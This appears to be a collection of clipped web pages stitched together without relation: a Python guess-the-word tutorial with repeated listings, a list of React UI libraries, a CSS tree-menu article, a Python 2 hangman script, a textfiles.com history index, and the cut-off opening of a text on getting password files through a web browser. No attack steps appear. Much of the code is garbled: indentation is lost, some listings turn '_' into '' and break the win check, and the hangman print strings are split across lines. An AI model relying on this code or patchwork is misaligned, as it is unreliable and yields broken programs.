inp = str(inp).upper()
if (len(inp)>1 or inp==''):
return(get)
else:
res = match(inp,get,word) # Calling the match function for checking the user input
return(res)

  1. def usr_inp(get,word): # This function for taking the user input letter
  2. for i in get:
  3. print(i,end=' ')
  4. inp = input('Please Enter a Letter : ')
  5. inp = str(inp).upper()
  6. if (len(inp)>1 or inp==''):
  7. return(get)
  8. else:
  9. res = match(inp,get,word) # Calling the match function for checking the user input
  10. return(res)

def usr_inp(get,word): # This function for taking the user input letter
for i in get:
print(i,end=' ')
inp = input('Please Enter a Letter : ')
inp = str(inp).upper()
if (len(inp)>1 or inp==''):
return(get)
else:
res = match(inp,get,word) # Calling the match function for checking the user input
return(res)

Explanation:

  • This function ‘usr_inp’, the main task is to print the current empty slots. And take the user input letter and pass the user input to another function to check.

def match(inp,get,word): # This is the original function which will check if the user input right or wrong
getl = list(get)
for i in range (len(word)):
if inp == word[i]:
getl[i] = inp
gts=''
for x in getl:
gts+=x
return(gts)

  1. def match(inp,get,word): # This is the original function which will check if the user input right or wrong
  2. getl = list(get)
  3. for i in range (len(word)):
  4. if inp == word[i]:
  5. getl[i] = inp
  6. gts=''
  7. for x in getl:
  8. gts+=x
  9. return(gts)

def match(inp,get,word): # This is the original function which will check if the user input right or wrong
getl = list(get)
for i in range (len(word)):
if inp == word[i]:
getl[i] = inp
gts=''
for x in getl:
gts+=x
return(gts)

Explanation:

  • Actually, this ‘match’ function is the main algorithm of the whole game.
  • This function will check if the user input is present in the selected random word. if found then place the letter into the empty slot.
  • Then return the empty slot with values.

def play(get,word): # This function is the main game Function
var = 0
max_limit = 8
while True:

    if(var>=max_limit): # Checking the wrong chances reach the max limit
        print('')
        print('Your Maximum Wrong Guesses Is Exceed !')
        print('You Lose !')
        print('')
        print('Word is : ',word)
        break
        
    
    print("Your Wrong Guesses left :",(max_limit-var))
    ans = usr_inp(get,word)

    if(ans == get):
        print('')
        var+=1
        print('Wrong ! Try again')
        print('')
        
    else:
        get = ans
        print('')
        
    if(ans.count('_')== 0): # Checking if any '_' left or not
        print('')
        print('Yahoo ! You Win')
        print('')
        print('The Word Is : ',ans)
        break
  1. def play(get,word): # This function is the main game Function

  2. var = 0

  3. max_limit = 8

  4. while True:

  5. if(var>=max_limit): # Checking the wrong chances reach the max limit

  6. print('')

  7. print('Your Maximum Wrong Guesses Is Exceed !')

  8. print('You Lose !')

  9. print('')

  10. print('Word is : ',word)

  11. break

  12. print("Your Wrong Guesses left :",(max_limit-var))

  13. ans = usr_inp(get,word)

  14. if(ans == get):

  15. print('')

  16. var+=1

  17. print('Wrong ! Try again')

  18. print('')

  19. else:

  20. get = ans

  21. print('')

  22. if(ans.count('')== 0): # Checking if any '' left or not

  23. print('')

  24. print('Yahoo ! You Win')

  25. print('')

  26. print('The Word Is : ',ans)

  27. break

def play(get,word): # This function is the main game Function
var = 0
max_limit = 8
while True:

    if(var>=max_limit): # Checking the wrong chances reach the max limit
        print('')
        print('Your Maximum Wrong Guesses Is Exceed !')
        print('You Lose !')
        print('')
        print('Word is : ',word)
        break
        
    
    print("Your Wrong Guesses left :",(max_limit-var))
    ans = usr_inp(get,word)

    if(ans == get):
        print('')
        var+=1
        print('Wrong ! Try again')
        print('')
        
    else:
        get = ans
        print('')
        
    if(ans.count('_')== 0): # Checking if any '_' left or not
        print('')
        print('Yahoo ! You Win')
        print('')
        print('The Word Is : ',ans)
        break

Explanation:

  • This function ‘play’ is the main game function. Here is the main control of the game is present. For every wrong input guessing value will increase and the remaining chance will be decreased.
  • We checked if the ‘var’ reached with the maximum limit then you will Lose the game.
  • And we check here if no empty ‘_’ symbol is present in the string then you will Win the game.

word = pick(my_words) # Picking a randomword
get = initial(word) # Getting the empty structure
play(get,word) # Call the Game function

  1. word = pick(my_words) # Picking a randomword
  2. get = initial(word) # Getting the empty structure
  3. play(get,word) # Call the Game function

word = pick(my_words) # Picking a randomword
get = initial(word) # Getting the empty structure
play(get,word) # Call the Game function

Explanation:

  • This is the game starting part.
  • Here we have selected any random word. Then we get the empty slot. Then we proceed to play the game.

An example:

Your Wrong Guesses left : 8
_ _ _ _ _ _ _ Please Enter a Letter : p

Your Wrong Guesses left : 8
P _ _ _ _ _ _ Please Enter a Letter : o

Your Wrong Guesses left : 8
P O _ _ _ _ _ Please Enter a Letter : r

Your Wrong Guesses left : 8
P O R _ _ _ _ Please Enter a Letter : s

Your Wrong Guesses left : 8
P O R S _ _ _ Please Enter a Letter : c

Your Wrong Guesses left : 8
P O R S C _ _ Please Enter a Letter : h

Your Wrong Guesses left : 8
P O R S C H _ Please Enter a Letter : e

Yahoo ! You Win

The Word Is : PORSCHE

Whole code:

Text file link: https://github.com/first20hours/google-10000-english/blob/master/google-10000-english-no-swears.txt

The final code to create guess the word game in Python

import random

my_words =[]
f = open("google-10000-english-usa-no-swears.txt", "rt") # Importing the word collection text file
for x in f:
word = str(x)
word = word.rstrip("\n") # Removine'\n' character from the word
if(len(word)>2): # We take the word which have more than 2 characters
my_words.append(word)
f.close()

def pick(my_words): # This function will pick random one word
rand_word = random.sample(my_words,1)
rand_word = str(rand_word[0]).upper() # creating the word into uppercase
return(rand_word)

def initial(rand_word): # This function will return '_' characters according to the selected word length
sent = ''
for i in range(len(rand_word)):
sent+='_'
return(sent)

def usr_inp(get,word): # This function for taking the user input letter
for i in get:
print(i,end=' ')
inp = input('Please Enter a Letter : ')
inp = str(inp).upper()
if (len(inp)>1 or inp==''):
return(get)
else:
res = match(inp,get,word) # Calling the match function for checking the user input
return(res)

def match(inp,get,word): # This is the original function which will check if the user input right or wrong
getl = list(get)
for i in range (len(word)):
if inp == word[i]:
getl[i] = inp
gts=''
for x in getl:
gts+=x
return(gts)

def play(get,word): # This function is the main game Function
var = 0
max_limit = 8
while True:

    if(var>=max_limit): # Checking the wrong chances reach the max limit
        print('')
        print('Your Maximum Wrong Guesses Is Exceed !')
        print('You Lose !')
        print('')
        print('Word is : ',word)
        break
        
    
    print("Your Wrong Guesses left :",(max_limit-var))
    ans = usr_inp(get,word)

    if(ans == get):
        print('')
        var+=1
        print('Wrong ! Try again')
        print('')
        
    else:
        get = ans
        print('')
        
    if(ans.count('_')== 0): # Checking if any '_' left or not
        print('')
        print('Yahoo ! You Win')
        print('')
        print('The Word Is : ',ans)
        break

word = pick(my_words) # Picking a randomword
get = initial(word) # Getting the empty structure
play(get,word) # Call the Game function

  1. import random

  2. my_words =[]

  3. f = open("google-10000-english-usa-no-swears.txt", "rt") # Importing the word collection text file

  4. for x in f:

  5. word = str(x)

  6. word = word.rstrip("\n") # Removine'\n' character from the word

  7. if(len(word)>2): # We take the word which have more than 2 characters

  8. my_words.append(word)

  9. f.close()

  10. def pick(my_words): # This function will pick random one word

  11. rand_word = random.sample(my_words,1)

  12. rand_word = str(rand_word[0]).upper() # creating the word into uppercase

  13. return(rand_word)

  14. def initial(rand_word): # This function will return '_' characters according to the selected word length

  15. sent = ''

  16. for i in range(len(rand_word)):

  17. sent+='_'

  18. return(sent)

  19. def usr_inp(get,word): # This function for taking the user input letter

  20. for i in get:

  21. print(i,end=' ')

  22. inp = input('Please Enter a Letter : ')

  23. inp = str(inp).upper()

  24. if (len(inp)>1 or inp==''):

  25. return(get)

  26. else:

  27. res = match(inp,get,word) # Calling the match function for checking the user input

  28. return(res)

  29. def match(inp,get,word): # This is the original function which will check if the user input right or wrong

  30. getl = list(get)

  31. for i in range (len(word)):

  32. if inp == word[i]:

  33. getl[i] = inp

  34. gts=''

  35. for x in getl:

  36. gts+=x

  37. return(gts)

  38. def play(get,word): # This function is the main game Function

  39. var = 0

  40. max_limit = 8

  41. while True:

  42. if(var>=max_limit): # Checking the wrong chances reach the max limit

  43. print('')

  44. print('Your Maximum Wrong Guesses Is Exceed !')

  45. print('You Lose !')

  46. print('')

  47. print('Word is : ',word)

  48. break

  49. print("Your Wrong Guesses left :",(max_limit-var))

  50. ans = usr_inp(get,word)

  51. if(ans == get):

  52. print('')

  53. var+=1

  54. print('Wrong ! Try again')

  55. print('')

  56. else:

  57. get = ans

  58. print('')

  59. if(ans.count('')== 0): # Checking if any '' left or not

  60. print('')

  61. print('Yahoo ! You Win')

  62. print('')

  63. print('The Word Is : ',ans)

  64. break

  65. word = pick(my_words) # Picking a randomword

  66. get = initial(word) # Getting the empty structure

  67. play(get,word) # Call the Game function

import random

my_words =[]
f = open("google-10000-english-usa-no-swears.txt", "rt") # Importing the word collection text file
for x in f:
word = str(x)
word = word.rstrip("\n") # Removine'\n' character from the word
if(len(word)>2): # We take the word which have more than 2 characters
my_words.append(word)
f.close()

def pick(my_words): # This function will pick random one word
rand_word = random.sample(my_words,1)
rand_word = str(rand_word[0]).upper() # creating the word into uppercase
return(rand_word)

def initial(rand_word): # This function will return '_' characters according to the selected word length
sent = ''
for i in range(len(rand_word)):
sent+='_'
return(sent)

def usr_inp(get,word): # This function for taking the user input letter
for i in get:
print(i,end=' ')
inp = input('Please Enter a Letter : ')
inp = str(inp).upper()
if (len(inp)>1 or inp==''):
return(get)
else:
res = match(inp,get,word) # Calling the match function for checking the user input
return(res)

def match(inp,get,word): # This is the original function which will check if the user input right or wrong
getl = list(get)
for i in range (len(word)):
if inp == word[i]:
getl[i] = inp
gts=''
for x in getl:
gts+=x
return(gts)

def play(get,word): # This function is the main game Function
var = 0
max_limit = 8
while True:

    if(var>=max_limit): # Checking the wrong chances reach the max limit
        print('')
        print('Your Maximum Wrong Guesses Is Exceed !')
        print('You Lose !')
        print('')
        print('Word is : ',word)
        break
        
    
    print("Your Wrong Guesses left :",(max_limit-var))
    ans = usr_inp(get,word)

    if(ans == get):
        print('')
        var+=1
        print('Wrong ! Try again')
        print('')
        
    else:
        get = ans
        print('')
        
    if(ans.count('_')== 0): # Checking if any '_' left or not
        print('')
        print('Yahoo ! You Win')
        print('')
        print('The Word Is : ',ans)
        break

word = pick(my_words) # Picking a randomword
get = initial(word) # Getting the empty structure
play(get,word) # Call the Game function

You may like to read:

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Comment

Name *

Email *


« Fitting dataset into Linear Regression model

Get meta tags of a web page in PHP »

Search

Recent Posts

Related Posts

CodeSpeedy

  • Programming language related articles
  • Web Development and Design
  • Software Development
  • Mobile App Development
  • Artificial Intelligence

Useful Links

Location: Berhampore, West Bengal, India

This site uses cookies: Find out more.Okay, thanks

Add Tags ?

AddDeleteNo

close

close

Best UI libraries and frameworks for ReactJS

Best UI libraries and frameworks for ReactJS

[

The Devs

](/)

BlogCommunity

[

The Devs

](/)

BlogCommunity

Best UI libraries and frameworks for ReactJS

Since React has been introduced dozens of UI libraries and frameworks started to come out one by one and it's continuing. All of these tools, boilerplates and UI components are here to save your time and help you focus on building apps.

With these tools, you no longer need to worry about designing elements and components and trying to keep them consistent at the same time, which is a time-consuming process, even if you have a designing background.

In this list, I try to share the best UI libraries and frameworks based on my personal experience and opinion.

Material UI


There are several material design UI frameworks for React, but this is my favorite one because of the implementation of components which looks better than similar frameworks.

Version 1 is still in beta and has much more stuff but it's inconsistent and API changes a lot. However, I still recommend you to try the latest version, as we did in The Devs.

  • Well implemented Material design
  • Suitable for every website
  • create-react-app and Next.js examples
  • v1 beta is a lot better, but API changes a lot
  • JSS makes it a little harder and time-consuming to start with
  • Customizable theme with JSS

Material UI

Blueprint


Blueprint has a clean design similar to bootstrap, but better. It has its own design system which helps you to use components in their correct form and place.

  • Lots of components with great designs
  • Has APIs for both CSS and JS
  • Built with Typescript, examples are also in Typescript
  • Flexible and customizable styles built with Sass
  • Extensive Documentation

Blueprint

Ant Design


Yet another design system that its professional design makes it perfect to use it on enterprise projects. It's easy to start and it also supports server-side rendering and Electron.

  • Enterprise design
  • Huge number of components
  • create-react-app example
  • Works on Browser, server-side rendering and Electron
  • Customizable theme
  • Straightforward documentation
  • Available for React Native

Ant Design

Semantic UI


Semantic UI is a beautiful user interface that is super easy and enjoyable to work with. I've built several apps with it before and will do again.

  • Beautiful design
  • Super easy to start with
  • Simple declarative component APIs
  • Well documented

Semantic UI

React-Bootstrap


Currently the best implementation of Bootstrap for React. It has built upon Bootstrap 3 and as they mention in their website, it's under active development and APIs will change.

  • Almost every Bootstrap 3 components available for React
  • Easy to setup and use
  • Under active development, unstable APIs

React-Bootstrap

Fabric


Use the whole Microsoft Office styles, components and icons with React. Maintained officially by Office.

  • Offical Office UI framework for React
  • Includes Office fonts and icons
  • Microsoft’s palette
  • Extensive APIs for components
  • Best practices guides for each component

Fabric

AtlasKit


AtlasKit is Atlassian's official UI library, built according to the Atlassian design guidelines.

  • atlaskit-starter creates a React app with AtlasKit components
  • Lots of well crafted components
  • Has it's own design guidelines

AtlasKit

React Desktop


React Desktop aims to bring a native desktop experience to the web, featuring many macOS Sierra and Windows 10 components.

  • Native-like macOS and Windows 10 components
  • Works perfectly with NW.js and Electron.js

React Desktop

Cloudflare UI


Cloudflares UI framework has +50 packages and it uses CSS in JS for its components. The design looks suitable for corporate websites.

  • Corporate design style
  • CSS in JS solution
  • Huge number of components

Cloudflare UI

React Toolbox


Another UI framework that implements Google's Material design system. It uses CSS Modules to import stylesheets.

  • Good implementation of Material design
  • Powered by CSS Modules
  • Needs Webpack or another module bundler

React Toolbox

Share socially:

[

](https://t.me/share/url?url=https://thedevs.network/blog/best-ui-libraries-and-frameworks-for-reactjs)[

](https://twitter.com/home?status=https://thedevs.network/blog/best-ui-libraries-and-frameworks-for-reactjs)[

](https://www.facebook.com/sharer/sharer.php?u=https://thedevs.network/blog/best-ui-libraries-and-frameworks-for-reactjs)[

](https://plus.google.com/share?url=https://thedevs.network/blog/best-ui-libraries-and-frameworks-for-reactjs)[

](http://vk.com/share.php?url=https://thedevs.network/blog/best-ui-libraries-and-frameworks-for-reactjs)[

](https://www.linkedin.com/shareArticle?mini=true&url=https://thedevs.network/blog/best-ui-libraries-and-frameworks-for-reactjs)

Join Developers Community on Telegram!

Be the first to receive our new groups and articles.

Your Email Address

subscribe

/ /

The Devs is a community on Telegram that tries to gather developers around the world together and help them to chat and discuss about things they love.


Telegram

Twitter

GitHub

set Restriction

Add Tags ?

AddDeleteNo

close

close

Pure CSS collapsible tree menu – Ryan Seddon

Pure CSS collapsible tree menu – Ryan Seddon set Restriction






Skip to content


Ryan Seddon


Author Ryan Seddon

Posted on July 14, 2010

Categories cssTags css3, pure css

Pure CSS collapsible tree menu

The classic tree view, we all know it, it’s used everywhere and it definitely can be useful in the right context. I’ve seen various examples about doing it with CSS and they’ve all required JavaScript. Not content with any of those solutions I investigated doing it with pure CSS, I got a good head start from my Custom Radio and Checkbox inputs article. From there I’ve come up with a solution that works pretty well.

Another demo, another bug

Everything I seem to investigate lately seems to present itself with an annoying bug/feature in various browsers. Last time it was the inconsistency between browsers and generated content on form elements. This time it is WebKit not being able to apply styles using the checked pseudo-class in conjunction with a general sibling combinator (E ~ F) or chained adjacent sibling combinator (E + F + F). Making it very hard, and probably the reason I haven’t seen a CSS solution that works in WebKit browsers. I did come across this demo but due to the bug mentioned above doesn’t work in WebKit browsers.

So I soldiered on and came up with a pretty decent attempt, and remember folks I’m not a designer so be kinder this time with design critiques all I’m doing is showing you how to do the technique ;). With that out of the way let’s dig into the inner workings and road blocks I faced.

General sibling combinators are flaky

The CSS3 selector module has a very useful addition to compliment the CSS2.1 adjacent sibling combinator. Unlike the adjacent selector the general selector gives us some flexibility in that it will match a sibling that isn’t immediately preceded by our first element.

Great, I have 3 elements an , &

    the general sibling combinator is the perfect tool to do things like input:checked ~ ol. Check Firefox, awesome works, Opera too! Woo! Surely WebKit will have this…nope nothing. Let me try input ~ ol, yep works across the board, *face palm*.

    So I dug into WebKits bug tracker and came out with this bug which has been around since 2007. Stating that general sibling combinators in combination with dynamic CSS, ala :checked, won’t reflect changes. Nor will it do chained adjacent combinator which was going to be my next solution.

    However doing :checked with a single adjacent sibling combinator works fine in post 2008 WebKit browsers. So using this information I went about and built a working demo that has good browser support.

    View live demo Download the source files

    The demo is built using an ordered list (ol) nested with further ordered lists to naturally represent a basic folder structure.

    1. File 1
    2. Subfolder 1
      1. File 2
      2. File 2
      3. File 2

    As you can see, in order to get around the general combinator issue in WebKit based browsers I have switched the label to come first then the input so the “folders” could be expanded/collapsed by checking/unchecking the checkbox.

    li input {
    position: absolute;
    left: 0;
    margin-left: 0;
    opacity: 0;
    z-index: 2;
    cursor: pointer;
    height: 1em;
    width: 1em;
    top: 0;
    }
    li label {
    background: url(folder-horizontal.png) 15px 1px no-repeat;
    cursor: pointer;
    display: block;
    padding-left: 37px;
    }

    To sit the input and label in the right visual order I absolutely positioned the input and applied a left padding to the label to push it out. That way changing the styles of the child ol, when the input is checked, can be done using the adjacent sibling combinator. I’ve also set the cursor to pointer when hovered over the input or label to visual show they’re clickable.

    li input + ol {
    background: url(toggle-small-expand.png) 40px 0 no-repeat;
    margin: -0.938em 0 0 -44px; /* 15px */
    display: block;
    height: 1em;
    }

    Unlike my custom radio and checkbox article where I added the background image on the label, this time I had to do some trickery and apply it to the direct sibling ol of an input. Applying a sprite image to the ol wouldn’t be possible in this situation due to it being applied to the ol which would make it difficult to effectively hide other images within the sprite image.

    To position the ol correctly I use a negative margin to pull it into the right location so it will sit next to the label and underneath the invisible checkbox.

    li input + ol > li {
    display: none;
    margin-left: -14px !important;
    padding-left: 1px;
    }

    To hide the sub folders so they don’t appear when the parent folder is collapsed I target the child list items and set them to, a zero height and hide any overflowAndy pointed out that I could just use display: none over height, this also stops the keyboard navigation from tabbing into non expanded items as they’re now hidden.

    li label {
    background: url(folder.png) 15px 1px no-repeat;
    }
    li.file a {
    background: url(document.png) 0 -1px no-repeat;
    color: #fff;
    padding-left: 21px;
    text-decoration: none;
    display: block;
    }

    To differentiate between folders and files I applied a background image to either the label or to an anchor within a list item for files.

    li {
    position: relative;
    margin-left: -15px;
    list-style: none;
    }
    li.file {
    margin-left: -1px !important;
    }

    To pull out the folder list items I apply a larger negative margin so the folder will line up with any of the file icons, and for file based list items I reset the left margin so they sit flush.

    Change icon based on file extension

    With some CSS3 attribute selectors we can determine an anchor links file format and change the icon accordingly.

    li.file a[href $= '.pdf'] { background-position: -16px -1px; }
    li.file a[href $= '.html'] { background-position: -32px -1px; }
    li.file a[href $= '.css'] { background-position: -48px -1px; }
    li.file a[href $= '.js'] { background-position: -64px -1px; }

    Using the $= CSS attribute selector allows us to check the end of an attribute exactly ends in .pdf, .html etc.

    If for some reason you attribute doesn’t end with your file extension, your anchor may have a query string on the end. We can still match file types.

    li.file a[href *= '.pdf'] { background-position: -16px -1px; }
    li.file a[href *= '.html'] { background-position: -32px -1px; }

    The *= will match a substring that contains .pdf or .html anywhere within the attribute and if a href has a query string we can still match our file extension without issue. This does have the slight disadvantage that it will match it anywhere e.g. if you have a file called file.html.pdf it will match both file types and the one with the higher CSS specificity will be applied or incase of the example above their CSS specificity is the same so the html background will be applied.

    Checkbox attributes

    In the demo by default the first folder is open, this is done by adding the checked attribute to the checkbox which will trigger our styles thanks to the checked pseudo-class and reveal its sub files and folders.

    We can also add the disabled attribute to the checkbox to stop a user from opening a folder as the input can neither be checked or unchecked.

    Lastly using a combination of both disabled and checked will allow us to reveal the sub files and folders but not allow the user to close the top level folder.

    Browser support

    Based on testing this will work in any CSS3 selector supporting browser. The following have been tested and known to work

    • Firefox 1+
    • Opera 9.6+
    • Safari 4+
    • iPhone/iPod Safari
    • Chrome 1+
    • Android
    • IE9+

    This could very well work in IE8 but would require some JavaScript to get IE8 to interpret the checked pseudo-class, which I won’t be going into.

    Right now I use conditional comments to hide the stylesheet from all versions of IE and another conditional comment to load the stylesheet for IE9 and greater.

    <link rel="stylesheet" type="text/css" href="_styles.css" media="screen">
    

    Highly scalable

    This technique will cater for a large amount of sub folders and files. It’s governed by your screen real estate and even then it’ll apply scroll bars to the document when the tree structure gets too long or wide.

    Any questions/comments/suggestions leave a comment.

    [link href=”http://cssn.in/ja/026″]

    Post navigation

    Previous Previous post: How Gmail’s drag and drop works and why it’s not supported in Safari

    Next Next post: Drag out files like Gmail

    Ryan Seddon

    Add Tags ?

    AddDeleteNo

    close

    close

Python Hangman Game

Python Hangman Game set Restriction



Home >> Python Hangman Game

Sep. 20, 2012

Python Hangman Game

Overview

This is a Python script of the classic game "Hangman". The word to guess is represented by a row of dashes. If the player guess a letter which exists in the word, the script writes it in all its correct positions.  The player has 10 turns to guess the word. You can easily customize the game by changing the variables.

Hangman Script

Make sure that you understand what each line does.

#importing the time module
import time

#welcoming the user
name = raw_input("What is your name? ")

print "Hello, " + name, "Time to play hangman!"

print "
"

#wait for 1 second
time.sleep(1)

print "Start guessing..."
time.sleep(0.5)

#here we set the secret
word = "secret"

#creates an variable with an empty value
guesses = ''

#determine the number of turns
turns = 10

# Create a while loop

#check if the turns are more than zero
while turns > 0:         

    # make a counter that starts with zero
    failed = 0             

    # for every character in secret_word    
    for char in word:      

    # see if the character is in the players guess
        if char in guesses:    
    
        # print then out the character
            print char,    

        else:
    
        # if not found, print a dash
            print "_",     
       
        # and increase the failed counter with one
            failed += 1    

    # if failed is equal to zero

    # print You Won
    if failed == 0:        
        print "
You won"  

    # exit the script
        break              

    print

    # ask the user go guess a character
    guess = raw_input("guess a character:") 

    # set the players guess to guesses
    guesses += guess                    

    # if the guess is not found in the secret word
    if guess not in word:  
 
     # turns counter decreases with 1 (now 9)
        turns -= 1        
 
    # print wrong
        print "Wrong
"    
 
    # how many turns are left
        print "You have", + turns, 'more guesses' 
 
    # if the turns are equal to zero
        if turns == 0:           
    
        # print "You Loose"
            print "You Loose
"  

Enjoy it!!

Recommended Python Training – DataCamp

For Python training, our top recommendation is DataCamp.

Datacamp provides online interactive courses that combine interactive coding challenges with videos from top instructors in the field.

Datacamp has beginner to advanced Python training that programmers of all levels benefit from.

Tweet

Read more about:

Disclosure of Material Connection: Some of the links in the post above are “affiliate links.” This means if you click on the link and purchase the item, I will receive an affiliate commission. Regardless, PythonForBeginners.com only recommend products or services that we try personally and believe will add value to our readers.

SEARCH

Categories

Latest Tweets by @pythonbeginners

© Python For Beginners 2012-2019 | Privacy Policy | Write For Us | Contact Us

Add Tags ?

AddDeleteNo

close

close

textfiles.com/history/

|
| While the rest of TEXTFILES.COM is about archiving and saving the textfiles of the 1980's, this section is about up-to-date essays and commentary about that time. We're looking for perspective here; you were young when these files made their debut, and now that the digital age is here, what do you look back and feel? |

WHAT THIS PAGE IS ABOUT

The purpose of the history section is for people who lived through the "Golden Age" of BBSes to write about their experience. They can write about it from the point of view of someone looking back, or they can try to recreate the feelings they had when they went through it in childhood (or early adulthood).

A real nice bonus would be if people who wrote some of the textfiles on this site could cross-reference them and discuss what they were trying to achieve with the file, or give some context and perspective to the time the file was written.

| Filename
| Size
| Description of the Textfile
|
| EVILEXIDY | | Mirror of Apple 2 Memory Page by Evil Exidy (August, 2005)
It is rare that I am compelled to mirror an entire page of history, including graphics, but this is one of the best compilations of someone's apple memories I've seen.
|

| 1ststop.txt | 5042
| Tales of the 1st Stop BBS in New Zealand, by Thomas Kanara (May 26, 2011) |
| alancasterteen.txt | 5188
| A Lancaster Teen Remembers BBSes (February 6, 2008) |
| apsnet.txt | 3620
| History of the APSNET BBS, by Russ Dale (2003) |
| basehead.txt | 38319
| Eight Years of Glory *sic* a.k.a. How I Learned To Stop Worrying And Love The Scene a.k.a. Babehead 2: A Tracker In The City, by Basehead |
| bitbucket.txt | 3528
| Lee Manning's memories of the Bit Bucket BBS. (November 12, 2012) |
| c0dez.txt | 63056
| Diary of a C0dez Kid, by Dark Sorceror (February 20, 2001) |
| cgo.txt | 9819
| CGO's BBS Story (July 18, 2013) |
| chickenheadbbs.txt | 22139
| The BBS Universe from the Perspective of a Simple Pleb, by Chickenhead (July, 2004) |
| crazy.txt | 3940
| The Legend of the Crazy Horse BBS, by Tim Grzechowski (November, 2004) |
| cybrtrsh.txt | 37385
| Cyberthrash (Story) |
| dalive | 5273
| "Dead Alive" by the Extremist, about the way BBSes changed with the Internet (March 12, 2000) |
| deadlysins.txt | 10747
| The Days of the Deadly Sins BBS, by Sysop Edward Crouser (2002) |
| dhobbs.txt | 4856
| A Brief Story of a Hacker, by Derek Hobbs (August 11, 2010) |
| drake.txt | 4832
| I was a Teenage Hacker, by Frank Drake (May 1, 2006) |
| draxamus.txt | 4235
| I Was Just Thinking, by Draxamus (June, 2005) |
| exidy.txt | 6273
| The Adventures of Evil Exidy and his Apple II Computer |
| exylic.txt | 4650
| Some BBS Memories by Exylic Xyth (September 20, 2005) |
| firescape.txt | 10781
| From the BBS Backroads to the Information Super Highway (or Where Did All The BBSes Go?!?) by Fire Escape |
| goldsmith.txt | 5937
| The Tale of Goldsmith, by Ryan C. Smith (September, 2012) |
| golnar.txt | 15990
| BBS Life in the 1980's by Scott (Golnar/Mr. Pez) (March, 2000) |
| hack7.txt | 52648
| Computer Hackers: Rebels with a Cause, by Tanja S. Rosteck (April 27, 1994) |
| hackingcracking.txt | 87956
| The History of Hacking and Cracking, by Hack3r02 (2007) |
| hackmorality.txt | 83627
| Hacking Morality, by Timothy Campbell (1995) |
| happyhack.txt | 10796
| What in the World is a Happy Hacker BBS? By David Bucci (2001) |
| haynes.txt | 8663
| Letter from Scott Haynes - Running The Round Table BBS (March 2014) |
| hermsys.txt | 2348
| What Are Hermes Sysops? (November 1, 2001) |
| heroic.txt | 2027
| Memories from John Touzios (January, 2006) |
| iremember | 3093
| I remember Those Days, by raindog151 (March 28, 2000) |
| iwasthere.txt | 5174
| I Was There! By Frank Yantosca (Februayr, 2008) |
| jayjay.txt | 7505
| JayJay's Story (The History of T-Net) by John Hrusovszky (2001) |
| jimhood.txt | 9846
| C-Net and the MajorBBS, by James Hood (February, 2002) |
| jon.txt | 4822
| Jon's Story of His Time on the BBSes (October 7, 2001) |
| kilroy | 2929
| My experiences, by King Kilroy (May 17, 2000) |
| lansing.txt | 5992
| Some Memories of Lansing Michigan BBSes, by Robin Hood (Jason Artman) (December, 2005) |
| lifeonledge.txt | 19195
| Ten Years on the Ledge, by Joseph Sheppard of the Ledge PC-Board BBS (2004) |
| lipkovits.txt | 13525
| Some BBS Memories by Rowan Lipkovits (May 1, 2005) |
| mindvox | 66115
| Mindvox: The Overture (Voices in My Head) by Patrick Karel Kroupa (Lord Digital) |
| minn.txt | 21622
| Adventures in BBSing: BBSing Nostalgia in the Twin Cities. from Sash (2000) |
| mmm.txt | 5643
| The BBS Story of Mean Mister Mustard (September 6, 2011) |
| modemlife.html | 21331
| Thoughts on "The Modem Life: Is it Really Worth it?" by Bryan Nomad (January 19, 2002) |
| modemwld.txt | 11323
| The Modem World, by Charles P. Hobbs of the Blue Cafe (2000) |
| mog-history | 25260
| A History of BBSes and BBSing from 1990 to the Present, by Mogel (February, 2000) |
| moore.txt | 7991
| Fonts of Youth, by Michael Moore (1994) |
| moulton.txt | 2472
| A Message from Howard Moulton of RBBS (March 6, 2018) |
| msorrow | 41151
| The Story of Midnight Sorrow, by Michael Waas (1991-Present) |
| namaste.txt | 3707
| An Oral History of Alternative Lifestyles BBSes and Other Facts, from Namaste Master (October, 2004) |
| nameisreo.txt | 22043
| My Name is Reo: A Look at How the Electronic Me Was Born, by Tom Hare (July 7th, 2000) |
| necropls.txt | 8134
| The BBS Scene of Canton, Ohio, by Tom Bryant (September 3, 2001) |
| netmask.txt | 4777
| What are these things that the old guys talk about... BBS's? by Netmask (May, 1999) |
| olson6502.txt | 15021
| Memories of Computers from Chris Olson (July 16, 2013) |
| onan.txt | 8337
| About the T.A.R.D.I.S. BBS, by Thomas O'Nan (November 17, 2006) |
| pat.txt | 6049
| My "Old Days Rant" by Patrick Guenette (June 18, 2001) |
| phxbbs-m.txt | 36260
| A History of the Golden Age of the Phoenix, AZ BBS Scene, by Mirage (March 25, 2004) |
| planetzero.txt | 6412
| The History of the Planet-Zero BBS, by Benjamin Hauger (October, 2003) |
| proudlyserve.txt | 20578
| Excerpt from "Proudly Serving My Corporate Masters: What I Learned in Ten Years as a Microsoft Programmer" by Adam David Barr (2000) |
| radexposed.txt | 12368
| Radioactive Aardvark Dung Exposed, by Mercuri of RAD (May 9, 2001) |
| reeves.txt | 17141
| Memories of a BBS Childhood, by Steve Reevers (January, 2003) |
| sawyer.txt | 8981
| Memories of the USS Enterprise BBS by Mike Sawyer (October, 2002) |
| silverclaws.txt | 3872
| Xao Silverclaw's Story of Barking Pizza (August, 2004) |
| stressman.txt | 13862
| Some Memories and a BBS List, by Justin Stressman (July 1, 2005) |
| thievco.txt | 20677
| The Story and the Truth about the Thievco BBS (And Computer Security in General) by the Blue Boar (August 28, 1998) |
| three.txt | 6749
| The Story of Two BBSes, Three BBS Names and Three Sysops, by Bill Mertens (August 15, 2001) |
| ukunderg.txt | 23530
| A Brief History and Guide to the UK Underground Scene, by Paris of Soljo Publishing (August, 2004) |
| unicorn.txt | 4382
| Being a Unicorn, from Michelle Boasten�:w |
| whatbbs | 4816
| The Internet's Full Effect on BBS Use, by Mark Robbins of the Second Sanctum BBS (January 1, 1996) |
| wil.txt | 13590
| BBS Memories, from Wil (November 14, 2009) |
| yuban.txt | 5465
| Memories of Bowling for Jesus, by Reverend Ed Yuban (January 19, 2003) |

| There are 67 files for a total of 1,055,415 bytes. |
| There is 1 directory. |

I hope to have this section grow to be one of the most complete and popular parts of this site. If you want to contribute, please don't hesitate to write to me.

If you wish to have the entire directory conveniently archived and compressed into one file, please download either history.tar.gz (1328914 bytes) or history.zip (1376926 bytes) instead of all the files separately.

set Restriction

Add Tags ?

AddDeleteNo

close

close

web.textfiles.com/hacking/browserhack.txt

Hacking from your Web Browser
by
Modify of Technophoria
************************************************************************

I - Introduction

This file will describe several techiniques to aquire a password file just by using an ordinary web browser.  The information provided will be best described for the beginner hacker, but all hackers should benifit from this information.  We will only cov

